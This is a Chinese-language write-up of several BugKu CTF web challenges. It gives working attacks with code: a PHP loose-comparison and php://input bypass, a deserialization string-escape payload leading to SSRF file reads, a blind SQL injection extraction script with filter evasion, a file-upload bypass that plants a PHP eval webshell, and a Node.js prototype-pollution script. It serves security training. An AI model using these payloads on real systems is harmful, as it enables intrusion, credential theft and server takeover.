BugKu Web WP

前言

整理BugKuCTF中部分WEB题WriteUp;

never_give_up

  1. BurpSuite抓包发现1p.html文件;

  2. URL查看1p.html,会跳转到https://www.bugku.com/,BurpSuite查看返回数据包内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <HTML>
    <HEAD>
    <SCRIPT LANGUAGE="Javascript">
    <!--
    var Words ="%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E"
    function OutWord()
    {
    var NewWords;
    NewWords = unescape(Words);
    document.write(NewWords);
    }
    OutWord();
    // -->
    </SCRIPT>
    </HEAD>
    <BODY>
    </BODY>
    </HTML>
  3. 发现变量words通过URL和Base64编码,进行多次解码操作,最终页面代码如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <HTML>
    <HEAD>
    <SCRIPT LANGUAGE="Javascript">
    <!--
    var Words ="<script>window.location.href='http://www.bugku.com';</script>
    <!--";if(!$_GET['id'])
    {
    header('Location: hello.php?id=1');
    exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    echo 'no no no no no no no';
    return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    $flag = "flag{***********}"
    }
    else
    {
    print "never never never give up !!!";
    }

    ?>-->"
    function OutWord()
    {
    var NewWords;
    NewWords = unescape(Words);
    document.write(NewWords);
    }
    OutWord();
    // -->
    </SCRIPT>
    </HEAD>
    <BODY>
    </BODY>
    </HTML>
  4. 优化处理后分析如下代码;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    if(!$_GET['id'])
    {
    header('Location: hello.php?id=1');
    exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    echo 'no no no no no no no';
    return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    $flag = "flag{***********}"
    }
    else
    {
    print "never never never give up !!!";
    }

    要得到flag,需要满足以下要求:

    1. id不能为空和0
    2. 只能通过GET获取id、a、b三个变量;
    3. a中不能出现.
    4. a为数据流;(@file_get_contents())
    5. 需要满足条件$data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4
      1. a数据流的内容为bugku is a nice plateform!
      2. id==0
      3. 变量b的长度大于5;
      4. 变量b的开头不能为4,并且111拼接字符串b的开头需要和1114正则匹配;
  5. 根据要求构造payload如下;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    POST /hello.php?id=0a&a=php://input&b=*12345 HTTP/1.1
    Host: 114.67.246.176:14705
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1628766579; _ga=GA1.1.306268332.1628766580
    Upgrade-Insecure-Requests: 1
    Content-Length: 26

    bugku is a nice plateform!
    • 通过POST+PHP伪协议传递变量a;

    • 利用PHP的弱等于特性设置id=0a

    • 利用*代表PHP正则的任意字符,绕过正则检验;

  6. 知识点

    1. **stripos()**函数;

      strip() 函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写),返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE;

      1
      2
      3
      $str = "hello"; 
      echo stripos($str, 'o');
      # 返回4
    2. PHP伪协议

      PHP类型的网页需要通过GET传递数据流时,可采用a=php://PHP伪协议来访问输入输出的数据流,其中php://input可以访问原始请求数据中的只读流,在请求体中添加数据流内容;

    3. PHP弱等于

      PHP有两种比较符号:

      1. **===**在进行比较的时候,会先判断两种字符串的类型是否相等,再比较;
      2. **==**在进行比较的时候,会先将字符串转化成相同类型,再比较;

      例如:

      1
      2
      3
      4
      5
      6
      7
      <?php
      echo ("admin"==0); //true
      echo ("1admin"==1); //true
      echo ("admin1"==1); //false
      echo ("admin1"==0); //true
      echo ("0e123456"=="0e4456789"); //true
      ?>
    4. **eregi()**函数;

      eregi()函数在一个字符串搜索指定的模式的字符串(不区分大小写),如果匹配成功返回true,否则返回false;

      PHP5可以使用,PHP7已经被弃用;

      eregi()函数存在截断漏洞,本题可以通过截断漏洞利用;

      可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组;

      1
      int eregi(string pattern, string string, [array regs]);
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      <?php
      $password = "abc";
      if (! eregi ("[[:alnum:]]{8,10}", $password)){
      print "Invalid password! Passwords must be from 8 - 10 chars";
      } else
      {
      print "Valid password";
      }
      ?>
      # 输出 Invalid password! Passwords must be from 8 - 10 chars

newphp

PHP代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8"); //请求头
highlight_file(__FILE__); //高亮显示

class evil{
public $hint; //定义hint变量

public function __construct($hint){ //构造函数,实现重载
$this->hint = $hint; //为hint赋初始值
}

public function __destruct(){ //析构函数
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint)); //读取hint.php内容,并进行base64编码
var_dump($this->hint); //输出读取的内容
}

function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
global $tmp; //定义全局变量tmp
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); //将data中的'\0\0\0'替换为chr(0).'*'.chr(0)
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); //将data中的chr(0).'*'.chr(0)替换为'\0\0\0'
return $r;
}

$tmp = "test";
$username = $_POST['username']; //post传递username
$password = $_POST['password']; //post传递password

$a = serialize(new User($username, $password)); //序列化
if(preg_match('/flag/is',$a)) //变量a进行正则表达式匹配
die("NoNoNo!");

unserialize(read(write($a))); //反序列化
  1. 使用反序列化调用eval类,输出base64编码的hint.php的内容;
  2. 可控参数只有usernamepassword
  3. 需要利用PHP反序列化字符串逃逸特性:
    1. PHP 在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(字符串除外),并且是根据长度判断内容的;
    2. 对类中不存在的属性也会进行反序列化;
    3. 序列化的字符串在经过过滤函数不正确的处理后可能导致对象注入;
  4. 利用该特性添加一个hint属性,使该值为hint.php
  5. 利用\0\0\0对序列化的字符串长度进行缩短;
  6. 绕过evil的wakeup函数;

具体步骤:

  1. 获取绕过evil的wakeup函数的序列化内容:

    1
    2
    3
    4
    5
    6
    <?php
    class evil{
    public $hint = "hint.php";
    }
    $a = new evil();
    var_dump(str_replace('":1:','":2:',serialize($a)));

    得到O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

  2. 利用字符串逃逸进行拼接,user类触发的payload为O:4:"User":2:{s:8:"username";s:3:"111";s:8:"password";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}

    需要替换掉";s:8:"password";s:3:"1,共23位;

  3. 而每次添加一组\0\0\0能多吞掉3个字符,需要3的倍数,可以在password的值上加一个任意字符,即可凑齐24个字符,构造payload为 username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

  4. 将上述payload通过POST方式传递,获取Base64编码内容string(68) "PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo="

  5. 解码后,内容如下:

    1
    2
    3
    <?php
    $hint = "index.cgi";
    // You can't see me~
  6. index.cgi文件,得到内容如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    {
    "args": {
    "name": "Bob"
    },
    "headers": {
    "Accept": "*/*",
    "Host": "httpbin.org",
    "User-Agent": "curl/7.64.0",
    "X-Amzn-Trace-Id": "Root=1-613634ac-1183acf448a560416c61e1fc"
    },
    "origin": "114.67.246.176",
    "url": "http://httpbin.org/get?name=Bob"
    }
  7. 分析上述代码,通过curl访问链接http://httpbin.org/get?name=Bob,更改name变量,返回内容有变化,存在SSRF漏洞;

  8. 通过file协议,读取flag文件,payload为?name= file:///flag,可获取flag;

sql注入

基于布尔的SQL盲注;

  1. 打开页面是个登录界面,随便输入admin、password,显示密码错误,输入qwe、qwe显示用户不存在;

  2. 根据提示“基于布尔的SQL盲注”,猜测服务端先判断username是否存在,再判断输入的密码是否正确,猜测username存在注入点;

  3. 猜测后端验证username的语句为select password,username from users where username="input"

  4. 如果在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立:where username='admin' and (substring(database(),1,1)='a')

    1. 如果返回密码错误,则说明and后的语句成立;
    2. 如果返回用户名不存在,则说明and后的语句不成立;
  5. 但是测试发现,返回值为非法字符,过滤了and;

  6. 继续测试,发现过滤了空格、, 、+、=等,但是<、>、^、(、)、ascii、substr等用于盲注的函数都还在;

  7. 空格可以使用括号代替,=可以使用<>代替,and可以使用异或运算代替(1^1=0 、 1^0=1 、0^0=0);

  8. 编写脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    import requests
    str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
    url="http://114.67.246.176:11566/index.php"
    r=requests.session()
    def password():
    result=""
    for i in range(40):
    flag=0
    for j in str_all:
    payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
    data = {
    "username": payload,
    "password": "abc"
    }
    s=r.post(url,data)
    print(payload)
    if "error" in s.text:
    result+=j
    flag=1
    print("--------------------------------------------------------------")
    print("result: ",result)
    print("--------------------------------------------------------------")
    if flag==0:
    break

    password()
  9. 对于payload内容admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#

    1. <>代替=,括号代替空格;
    2. mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号。因此,这里用到了ascii()取ascii码值,如果传入一个字符串那么就会取第一个字符的ascii码值,起到了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取;
    3. 每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算,如果数据库名的第一位的ascii码值不是97,where条件是username='admin'^1^0
  10. 运行payload,获取admin密码的MD5值,在线解密,即可获得密码,登录获取flag;

文件上传

PHP文件上传绕过

需要绕过内容:

  1. 文件后缀

    依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)最终发现,php4可以绕过;

  2. 修改请求头Content-Type字段为mULtipart/form-data(注意大小写绕过);

  3. 修改请求数据的Content-Type字段为image/jpeg

修改前请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php HTTP/1.1
Host: 114.67.246.176:19346
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: image/jpeg; boundary=---------------------------38261504985784834023799755966
Content-Length: 361
Origin: http://114.67.246.176:19346
Connection: close
Referer: http://114.67.246.176:19346/index.php
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1628766579; _ga=GA1.1.306268332.1628766580
Upgrade-Insecure-Requests: 1

-----------------------------38261504985784834023799755966
Content-Disposition: form-data; name="file"; filename="1.php4"
Content-Type: multipart/form-data

<?php @eval($_POST['abc'])?>
-----------------------------38261504985784834023799755966
Content-Disposition: form-data; name="submit"

Submit
-----------------------------38261504985784834023799755966--

修改后请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php HTTP/1.1
Host: 114.67.246.176:19346
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: mulTIpart/form-data; boundary=---------------------------38261504985784834023799755966
Content-Length: 361
Origin: http://114.67.246.176:19346
Connection: close
Referer: http://114.67.246.176:19346/index.php
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1628766579; _ga=GA1.1.306268332.1628766580
Upgrade-Insecure-Requests: 1

-----------------------------38261504985784834023799755966
Content-Disposition: form-data; name="file"; filename="1.php4"
Content-Type: image/jpeg

<?php @eval($_POST['abc'])?>
-----------------------------38261504985784834023799755966
Content-Disposition: form-data; name="submit"

Submit
-----------------------------38261504985784834023799755966--

上传一句话木马,连接即可;

关于Content-Type参考https://www.cnblogs.com/52fhy/p/5436673.html

sodirty

Node.js原型链污染;

  1. 扫描目录,发现www.zip文件, 解压缩,打开index.js得到源代码发现**set-value**,判断存在js原型链污染,代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    var express = require('express');
    const setFn = require('set-value');
    var router = express.Router();

    const Admin = {
    "password":process.env.password?process.env.password:"password"
    }

    router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
    res.send("登录失败");
    }else{
    if(req.session.challenger.age > 79){
    res.send("糟老头子坏滴很");
    }
    let key = req.body.key.toString();
    let password = req.body.password.toString();
    if(Admin[key] === password){
    res.send(process.env.flag ? process.env.flag : "flag{test}");
    }else {
    res.send("密码错误,请使用管理员用户名登录.");
    }
    }
    });

    router.get('/reg', function (req, res, next) {
    req.session.challenger = {
    "username": "user",
    "password": "pass",
    "age": 80
    }
    res.send("用户创建成功!");
    });

    router.get('/', function (req, res, next) {
    res.redirect('index');
    });

    router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
    });

    router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
    res.redirect('/reg');
    }else{
    if (req.body.attrkey === undefined || req.body.attrval === undefined) {
    res.send("传参有误");
    }else {
    let key = req.body.attrkey.toString();
    let value = req.body.attrval.toString();
    setFn(req.session.challenger, key, value);
    res.send("修改成功");
    }
    }
    });

    module.exports = router;
  2. 分析代码发现:

    1. 可以通过/getflag路由获取flag;
    2. 需要传参keypassword两个参数;
    3. 需要用户的age<=79
    4. 需要满足Admin[key]==password,其中passwod可以控制,而Admin[key]未知;
  3. age变量已经存在,可以通过POST传参覆盖;

  4. 对于Admin对象,只有一个属性 password,要求key携带的属性不是password,则需要指定的属性,可以根据两者共同的父类object设置。关于原型链泄露,子类调用找不到的属性时,会默认去一直向上找父类可以继承的属性,通过__proto__.passwd更改challengerAdmin共同的父类object,增加一个属性passwd,指定值,然后把key设置成passwdpassword设置为object赋的passwd值,就可以绕过判断,得到flag。

    1
    2
    3
    const Admin = {
    "password":process.env.password?process.env.password:"password"
    }
  5. 编写payload如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    # payload.py
    import requests
    import random
    from bs4 import BeautifulSoup
    import re
    import base64
    s = requests.session()
    # URI
    url = "http://114.67.246.176:10038/"
    reg = url + "reg"
    update = url + "update"
    getflag = url + "getflag"
    # 登录
    r=s.get(reg)
    print(r.text)
    # POST传参,修改age
    data1={"attrkey":"age","attrval":"78"}
    r=s.post(update, data=data1)
    print(r.text)
    # __proto__.passwd更改challenger和Admin共同的父类object,增加属性passwd,设置值为abc
    data2={"attrkey":"__proto__.passwd","attrval":"abc"}
    r=s.post(update, data=data2)
    print(r.text)
    # 将key设置成passwd,password设置给object赋的passwd值abc
    data3={"password":"abc","key":"passwd"}
    r=s.post(getflag, data=data3)
    print(r.text)